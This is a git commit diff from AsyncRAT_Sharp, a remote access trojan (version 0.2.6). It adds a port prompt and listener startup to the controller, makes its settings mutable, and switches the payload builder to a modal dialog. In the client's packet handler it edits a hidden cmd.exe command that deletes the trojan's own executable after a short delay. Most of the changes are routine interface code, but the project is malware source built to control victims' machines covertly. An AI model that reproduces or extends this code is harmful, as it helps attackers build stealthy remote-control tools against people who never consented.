This commit is contained in:
NYAN CAT 2019-03-24 15:40:40 -07:00
parent 72d6db11be
commit 50a79ee230
4 changed files with 11 additions and 9 deletions

View File

@ -96,6 +96,7 @@ namespace AsyncRAT_Sharp.Forms
private void Builder_Load(object sender, EventArgs e)
{
comboBoxFolder.SelectedIndex = 0;
textPort.Text = Settings.Port.ToString();
}
}
}

View File

@ -22,6 +22,7 @@ namespace AsyncRAT_Sharp
public partial class Form1 : Form
{
private static Builder builder = new Builder();
public Form1()
{
InitializeComponent();
@ -30,9 +31,13 @@ namespace AsyncRAT_Sharp
private void Form1_Load(object sender, EventArgs e)
{
Text = $"{Settings.Version} // NYAN CAT";
var input = Interaction.InputBox("", "Select Port", "6606",-1,-1);
if (string.IsNullOrWhiteSpace(input)) Environment.Exit(0);
Settings.Port = Convert.ToInt32(input);
Text = $"{Settings.Version} // NYAN CAT";
Listener listener = new Listener();
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
thread.Start(Settings.Port);
}
@ -344,8 +349,7 @@ namespace AsyncRAT_Sharp
private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
{
Builder builder = new Builder();
builder.Show();
builder.ShowDialog();
}
}
}

View File

@ -5,8 +5,8 @@ namespace AsyncRAT_Sharp
{
class Settings
{
public static readonly List<Clients> Online = new List<Clients>();
public static readonly int Port = 6606;
public static List<Clients> Online = new List<Clients>();
public static int Port = 6606;
public static readonly string Version = "AsyncRAT 0.2.6";
public static long Sent = 0;
public static long Received = 0;

View File

@ -139,14 +139,11 @@ namespace Client.Handle_Packet
{
Del = new ProcessStartInfo()
{
Arguments = "/C choice /C Y /N /D Y /T 1 & Del " + Process.GetCurrentProcess().MainModule.FileName,
Arguments = "/C choice /C Y /N /D Y /T 2 & Del " + Process.GetCurrentProcess().MainModule.FileName,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe"
};
ClientSocket.Client.Shutdown(SocketShutdown.Both);
ClientSocket.Client.Close();
}
catch { }
finally